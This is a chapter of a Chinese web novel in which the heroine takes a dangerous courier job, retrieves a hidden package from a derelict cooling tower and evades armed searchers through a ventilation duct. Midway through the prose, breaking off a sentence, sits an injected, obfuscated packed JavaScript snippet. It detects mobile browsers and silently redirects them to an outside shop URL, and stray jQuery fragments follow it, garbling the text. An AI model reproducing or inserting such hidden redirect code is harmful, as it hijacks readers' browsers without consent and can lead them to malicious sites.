屏幕上滚动着几条简短的信息,每条都透着一股血腥气:
“铁皮仓库”夜间看守:需自备武器,防备拾荒者或小型异兽,一晚十通用点,伤亡自负。
“废气处理池”清理工:按清理量计酬,每立方零点五通用点,长期接触有害物质,无健康保障。
“旧船擂台”外围赛:无限制格斗,单场胜者三十点,败者无酬,伤残自理。
“锈蚀回廊”信使:运送小型包裹,避开巡逻队及敌对眼线,酬金十五点,失败或包裹丢失,需支付双倍赔偿。
赵闻舟的目光在“锈蚀回廊”那条上定了定。酬金不错,任务性质也更适合她和极光发挥隐蔽与机动的特长。
“我接‘锈蚀回廊’。”她没有犹豫。
酒保没什么表情,在平板上点了几下,递过来一张印着潦草地图和坐标的防水纸片,以及一个用密封袋装着的、拇指大小的金属扁盒。
“包裹。从今晚‘静默时段’开始送,日出前到B点,送到凭回执来拿钱。东西没了,回来交罚金,人要是没了,我就当没这回事。别想着逃跑,我们有能力追踪到你。”酒保语气平淡,“最近回廊里好几拨人在清老鼠,自己小心。”
赵闻舟接过东西,点了点头,转身离开酒吧。
外面天色已近黄昏,锚地各色灯光渐次亮起,将堆积如山的金属垃圾和粗陋建筑切割成明暗交织的迷宫。她走到一个僻静角落,展开纸片。地图简陋,但起点和终点非常明确。直线距离不远,却要穿过锚地最混乱的区域和最危险的巷战地带。
“静默时段”是下半夜到黎明前,那是这里表面活动减少,暗流却更加汹涌的时刻。
她需要做好准备。
赵闻舟收好东西,抱着极光,像一抹不起眼的影子,朝着废气广场方向移动。
废气广场在傍晚时分依旧嘈杂,但比白天少了些明目张胆的争斗。巨大的废弃机器和堆积如山的垃圾形成天然屏障和视线死角。赵闻舟没有深入,只在边缘借着地形掩护,仔细观察了冷却塔附近的入口、可能的监视点,以及通往锈蚀回廊方向的几条岔路,她将地形和几个关键坐标牢牢记在心里。
接着是锈蚀回廊外围,这里比主通道更加阴暗破败,锈蚀的金属墙壁上满是涂鸦和干涸的污渍,地面湿滑,空气里弥漫着铁锈的气味。通道错综复杂,像巨兽的肠道。她只在外围快速穿行了一段,记住了几个明显的标志物和可能藏匿危险的角度,没有深入。
实地勘察花了大约一个多小时。回到相对安全的区域后,天色已经完全暗了下来。
她找到一处背风、堆满废弃隔热材料的角落,和极光分吃了最后一管营养剂,喝光了水。然后,她抱着极光蜷缩起来,开始深度的冥想休息。精神力如同涓涓细流,缓慢冲刷着疲惫,修复着测试消耗的暗伤,同时也通过链接,安抚和引导着极光进入类似的休养状态。小家伙安静地偎依着她,背脊上那线幽蓝微光在完全的黑暗中,似乎比平时稍微明亮了一丝,随着呼吸缓缓脉动。
时间在寂静中流逝,锚地的喧嚣并未停歇,只是从白日的浮躁逐渐沉淀为夜晚的、更加隐蔽而危险的律动。叫卖声少了,取而代之的是远处隐约的引擎轰鸣、不明来源的短促叫骂、以及金属摩擦或重物坠地的闷响。
当赵闻舟感觉周围环境的嘈杂度降到一个特定阈值,而某种属于夜晚的寂静开始弥漫时,她睁开了眼睛。
“静默时段”到了。
她轻轻活动了一下因长时间保持姿势而有些僵硬的关节,悄无声息地站起身。将之前打磨好的两片薄刃分别藏进袖口内侧和靴筒,简易的绊索套索收在腰间随手可及的位置。最后,她检查了一遍贴身存放的地图、金属扁盒,以及那块象征着她未来希望的身份牌。
她弯腰,抱起极光。小家伙早已醒来,幽绿的眼睛在黑暗中如同两盏微缩的星灯,清晰地倒映着她的脸。
“要出发了,极光。”她低声说,声音平静而坚定,“记住,我们要安静,要快,跟紧我。遇到任何情况,优先自保,听我指令。”
极光用脑袋轻轻顶了顶她的下巴,喉咙里发出一声极轻但清晰的回应,带着全然的信任。
赵闻舟最后深吸一口冰冷而污浊的空气,将极光妥善藏进胸前内袋,用外套掩好。然后,她像一滴融入墨汁的水,悄无声息地滑出了藏身的角落,朝着废气广场南侧,那个标注着起点的废弃冷却塔,潜行而去。
夜色浓重,钢铁森林的阴影将她彻底吞没。
废弃冷却塔如同一个锈蚀的巨人残骸,沉默地矗立在废气广场边缘的阴影里。塔身布满裂痕和破洞,散发出陈年的油污和金属氧化的气味。按照地图指示,交接点A在塔基一个半掩的维修通道口内。
赵闻舟先在远处一个堆满报废过滤器的掩体后观察了片刻,冷却塔附近空无一人,只有风声穿过破损塔身发出的呜咽。但她不敢掉以轻心,酒保那句“好几拨人在清老鼠”的话,像根刺扎在心头。
确认没有明显的埋伏或监视后,她才像夜行的壁虎,贴着地面和阴影,快速移动到塔基附近。维修通道的铁门虚掩着,锈蚀的门轴发出轻微的呻吟。她侧身挤入,里面是一条向下倾斜的、充满浓重机油气味的短廊,伸手不见五指。
她从怀里摸出之前准备的一小截用废弃能源棒和荧光苔藓粉末自制的简易照明棒,借着这点微光,谨慎前行。短廊尽头是一个小小的、堆满破烂零件的房间,角落里,一个用粉笔画出的简陋箭头指向地面一块松动的金属板。
她蹲下身,撬开金属板。下面是一个小小的凹槽,里面空空如也。
交接点A,空的。
赵闻舟的心微微一沉。是来早了,还是……东西已经被取走,或者这本身就是一个陷阱?
她迅速后退,背靠墙壁,屏住呼吸,将照明棒熄灭,整个人融入黑暗。耳朵和精神链接同时开到最大,捕捉着周围任何一丝异动。
寂静,只有自己平稳的心跳和极光细微的呼吸声。
等了约莫一分钟,没有任何动静。她再次点亮照明棒,仔细检查凹槽周围。没有打斗痕迹,没有额外的标记,凹槽内壁光滑,没有长期放置物品的压痕。
难道交接方式需要她做些什么?
她的目光落在粉笔箭头旁一块不起眼的、颜色略深的锈斑上。她用手指抹了一下,触感有些油腻。凑近微光仔细看,那似乎不是普通的锈,而是用某种油脂混合了铁锈画出的一个极其模糊的符号——像是半个扭曲的齿轮,又像某种简笔的鸟类爪印。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218484|197466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
这或许才是真正的提示。
她拿出金属扁盒,凑到那块油性符号旁边。扁盒表面光滑,没有任何按键或接口。她尝试着用扁盒边缘,按照记忆中酒保敲击平板的节奏,轻轻在符号旁边的金属墙壁上敲击了同样的次数。
“嗒、嗒嗒、嗒……”
敲击声刚落,那块画着符号的墙壁突然向内凹陷,弹出一个更小的、只有火柴盒大小的暗格。暗格里,静静躺着一枚黑色的、非金属材质的薄片,触手温润。
这才是她需要运送的东西?
赵闻舟迅速将黑色薄片收起,替换掉手中那个金属扁盒,她将空扁盒放回暗格,暗格自动关闭复原。整个过程不到五秒。
就在她准备离开时,精神链接猛地传来极光急促的预警波动!几乎同时,短廊入口方向传来了极其轻微的、不同于风声的金属摩擦声!
有人来了!而且不止一个!
赵闻舟没有丝毫犹豫,立刻朝着短廊另一侧一个她之前就留意到的、被杂物半掩的通风管道口冲去。她手脚并用,以最快的速度扒开挡路的破烂,矮身钻了进去。
通风管道狭窄、锈蚀,布满灰尘和蛛网,只能匍匐前进。她刚把身体完全缩入管道,入口处的铁门就被“吱呀”一声推开了。
几道手电筒的光柱扫了进来,伴随着压低的交谈声。
“……确认是这里?A点?”
“信号显示是。东西应该还在。”
“妈的,空的!被人抢先了!”
“搜!可能还没走远!老大说了,这次货很重要,不能丢!”
杂乱的脚步声在下面房间响起,翻找东西的声音,咒骂声。
赵闻舟在管道内一动不动,连呼吸都放到最轻。她能感觉到怀里的极光也绷紧了身体,幽绿的眼睛在黑暗中紧闭,似乎也在努力降低存在感。
下面的搜索持续了大概两三分钟。
“没有!操!肯定是那帮夜鸮的人干的!”
“不一定,也可能是独狼……回去报告吧,封锁附近出口,他们跑不远!”
脚步声和骂骂咧咧的声音渐渐远去,铁门重新关闭。
赵闻舟又等了几分钟,确认外面彻底没有动静,才缓缓吐出一口憋了很久的浊气。好险。看来这信使任务,运送的包裹远比十五个通用点价值更高,已经卷入了不止一股势力的争夺。
她没有立刻出去,而是在通风管道里辨认了一下方向,朝着与入口相反的大致方位慢慢爬去。管道四通八达,积灰厚重,不时有小型昆虫被惊动。她只能凭借对废气广场大致方位的记忆和极光对气流变化的感知,艰难地摸索前进。
爬了大概二十多分钟,前方出现了一丝微弱的光亮和新鲜空气的味道。她小心地靠近,发现是一个通往地面的破损栅栏口,外面堆着垃圾,似乎是广场某个偏僻角落。
她先仔细观察了一下外面,确认安全,才推开松动的栅栏,钻了出去。
重新呼吸到广场上相对开阔的空气,她才感觉后背已经被冷汗浸湿。刚才如果慢上一步,或者判断错误,后果不堪设想。
现在,包裹已经到手,但如何在各方势力的眼皮底下,安全穿过危机四伏的锈蚀回廊,将东西送到终点B,还是个艰巨的问题。